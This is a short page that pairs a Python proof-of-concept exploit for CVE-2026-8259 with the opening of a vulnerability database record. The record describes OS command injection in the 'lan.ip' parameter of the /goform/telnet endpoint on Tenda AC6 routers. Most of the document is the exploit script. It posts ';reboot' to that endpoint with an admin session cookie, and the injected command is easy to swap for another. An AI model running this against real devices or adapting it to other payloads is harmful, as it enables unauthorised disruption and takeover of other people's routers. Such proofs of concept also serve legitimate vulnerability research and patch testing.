CVE-2026-8259

import requests def exploit(target_ip, cookie): # Target endpoint url = f"http://{target_ip}/goform/telnet" # Malicious payload injecting a command to reboot the device # The vulnerability is in the 'lan.ip' parameter data = { "lan.ip": ";reboot" } # Headers simulating an authenticated admin session (PR:H) headers = { "Cookie": cookie } try: response = requests.post(url, data=data, headers=headers, timeout=5) if response.status_code == 200: print("[+] Payload sent successfully.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") # Example usage # exploit("192.168.0.1", "user=admin")

{"cve": {"id": "CVE-2026-8259", "sourceIdentifier": "[email protected]", "published": "2026-05-11T02:16:27.417", "lastModified": "2026-05-11T17:07:02.150", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability has been found in Tenda AC6 2.0/15.03.06.23. The affected element is an unknown function of the file /goform/telnet of the component httpd. The manipulation of the argument lan.ip leads to os command injection. Remote exploitation of the attack is possible. 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